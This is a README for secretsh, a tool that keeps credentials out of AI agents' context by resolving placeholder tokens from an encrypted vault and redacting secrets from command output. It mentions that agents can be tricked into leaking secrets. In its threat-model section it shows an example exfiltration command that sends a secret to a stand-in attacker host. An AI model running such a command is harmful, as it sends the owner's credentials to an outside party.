secretsh
Secure subprocess secret injection for AI agents.
secretsh keeps credentials out of LLM context, shell history, and command output. AI agents write commands with {{PLACEHOLDER}} tokens; secretsh resolves them against an encrypted vault and redacts any secrets that leak back through stdout/stderr.
Agent prompt: curl -u admin:{{API_PASS}} https://internal/api
Child argv: curl -u admin:hunter2 https://internal/api
Agent sees: curl -u admin:[REDACTED_API_PASS] https://internal/api
Why
When an AI agent runs curl -u admin:hunter2 ..., three things go wrong:
- The LLM knows the secret and can be tricked into leaking it.
- Shell history records it in
~/.bash_history. - Command output may echo it back (
curl -v, misconfigured services), and the LLM ingests it.
secretsh fixes all three: secrets live in an encrypted vault, enter the process only at exec time, and are scrubbed from output before anything reaches the caller.
Install
Homebrew (macOS / Linux)
From source
Pre-built binaries
Download from GitHub Releases for:
x86_64-apple-darwinaarch64-apple-darwinx86_64-unknown-linux-gnuaarch64-unknown-linux-gnu
Requirements
- macOS 10.15+ or Linux (glibc)
- Rust 1.75+ (build from source only)
Quick Start
1. Set your master passphrase
This prompt is silent -- type your passphrase and press Enter. Nothing is saved to shell history.
&&
All commands default to reading the passphrase from SECRETSH_KEY. Use --master-key-env OTHER_VAR to override.
2. Create a vault and add secrets
Easiest: import from an existing .env file:
Or add secrets one at a time (input is hidden, press Enter to submit):
# Enter secret for API_PASS: ********
# Enter secret for API_USER: ********
3. Run commands with {{placeholders}}
The output is always scrubbed -- any vault secret (raw, base64, URL-encoded, or hex) is replaced with [REDACTED_<KEY>].
4. See what's stored
Values are never displayed.
Commands
| Command | Description |
|---|---|
secretsh init |
Create a new encrypted vault |
secretsh set <KEY> |
Store a secret (interactive hidden input) |
secretsh delete <KEY> |
Remove a secret |
secretsh list |
List key names (never values) |
secretsh run -- "cmd" |
Execute a command with secret injection + output redaction |
secretsh export --out <path> |
Export vault to an encrypted backup |
secretsh import --in <path> |
Import entries from a backup |
secretsh import-env -f <path> |
Import secrets from a .env file |
All commands read the passphrase from the SECRETSH_KEY environment variable by default. Use --master-key-env <ENV_VAR> to read from a different variable. The passphrase itself is never passed on the command line.
Security Model
What secretsh protects against
- Secret leakage into LLM prompt/context (placeholder model)
- Secret leakage via shell history
- Secret leakage via stdout/stderr (Aho-Corasick streaming redaction)
- Encoded secret leakage (base64, URL-encoding, hex)
- Vault tampering (HMAC-authenticated header + per-entry AES-256-GCM with positional AAD + full-file commit tag)
- Metadata leakage from vault file (key names are encrypted)
- Core dump inclusion (RLIMIT_CORE=0)
What is explicitly out of scope
/proc/<pid>/cmdlineinspection (secret is in child argv for its lifetime)- Physical memory attacks (cold boot, kernel exploits)
- Malicious commands that exfiltrate their own arguments
- Compromise of the master passphrase itself
To be clear -- this isn't a silver bullet. It doesn't stop a truly malicious command from exfiltrating data (e.g. curl attacker.com/{{OUR_API_KEY}}). But it does solve the massive problem of accidental exposure in logs, history, and LLM context windows.
See docs/threat-model.md for the full threat model and technical architecture.
Cryptographic Primitives
| Component | Algorithm | Library |
|---|---|---|
| Encryption | AES-256-GCM | ring |
| MAC | HMAC-SHA256 | ring |
| KDF | Argon2id (128 MiB, t=3, p=4) | argon2 |
| Key expansion | HKDF-SHA256 | ring |
| Random | OS CSPRNG | ring::rand::SystemRandom |
Key derivation uses HKDF domain separation: the Argon2id output is never used directly. Independent subkeys are derived for encryption (secretsh-enc-v1) and HMAC (secretsh-mac-v1).
Architecture
+------------------+
Agent writes: | curl {{API_KEY}} | (placeholder — LLM never sees the value)
+--------+---------+
|
+--------v---------+
| Tokenizer | Strict POSIX-subset parser
| (rejects pipes, | No shell intermediary
| globs, $(), ;) |
+--------+---------+
|
+--------v---------+
| Vault Decrypt | AES-256-GCM + Argon2id
| + Placeholder | Resolve {{KEY}} -> value
| Resolution |
+--------+---------+
|
+--------v---------+
| posix_spawnp() | Direct exec, no sh -c
| (macOS) | argv zeroized after spawn
+--------+---------+
|
+--------v---------+
| Aho-Corasick | O(n) streaming redaction
| Output Filter | Raw + base64 + URL + hex
+--------+---------+
|
+--------v---------+
Agent receives: | [REDACTED_KEY] | Scrubbed output
+------------------+
Configuration
Vault Location
| Platform | Default path |
|---|---|
| macOS | ~/Library/Application Support/secretsh/vault.bin |
| Linux | $XDG_DATA_HOME/secretsh/vault.bin |
Override with --vault <path> on any command.
Multiple Vaults
Every command accepts --vault, so you can maintain separate vaults for different contexts:
# Work vault
# Personal vault
# Run from either
Each vault is independent: different passphrase, different salt, different entries.
Resource Limits
| Limit | Default | Flag |
|---|---|---|
| Child timeout | 300s | --timeout |
| Max stdout | 50 MiB | --max-output |
| Max stderr | 1 MiB | --max-stderr |
Exceeding any limit triggers SIGTERM + SIGKILL escalation (exit code 124).
Exit Codes
| Code | Meaning |
|---|---|
| 0 | Success |
| 1-125 | Child process exit code (passthrough) |
| 124 | Timeout or output limit exceeded |
| 125 | secretsh internal error |
| 126 | Command not executable |
| 127 | Command not found |
| 128+N | Child killed by signal N |
Python API
secretsh provides native Python bindings via PyO3. Secrets stay on the Rust heap and never cross the FFI boundary as Python str.
# bytearray is zeroed after copy
=
# -> "... Authorization: Bearer [REDACTED_API_KEY] ..."
# -> 0
Install from source
&&
Requires Python 3.10+.
Development
# Build
# Run Rust tests (188 unit tests)
# Lint
# Format
# Build release
# Python bindings
Examples
See examples/ for runnable examples:
| File | What it demonstrates |
|---|---|
basic_cli.sh |
Full CLI walkthrough: init, set, list, run, export, import, delete, exit codes |
basic_python.py |
Python API: set, run, redaction, bytearray zeroing, timeout, error handling, export/import |
multi_vault.py |
Multiple vaults with different passphrases for staging vs production |
&&
License
Contributing
See CONTRIBUTING.md for guidelines.
Security
To report a vulnerability, see SECURITY.md.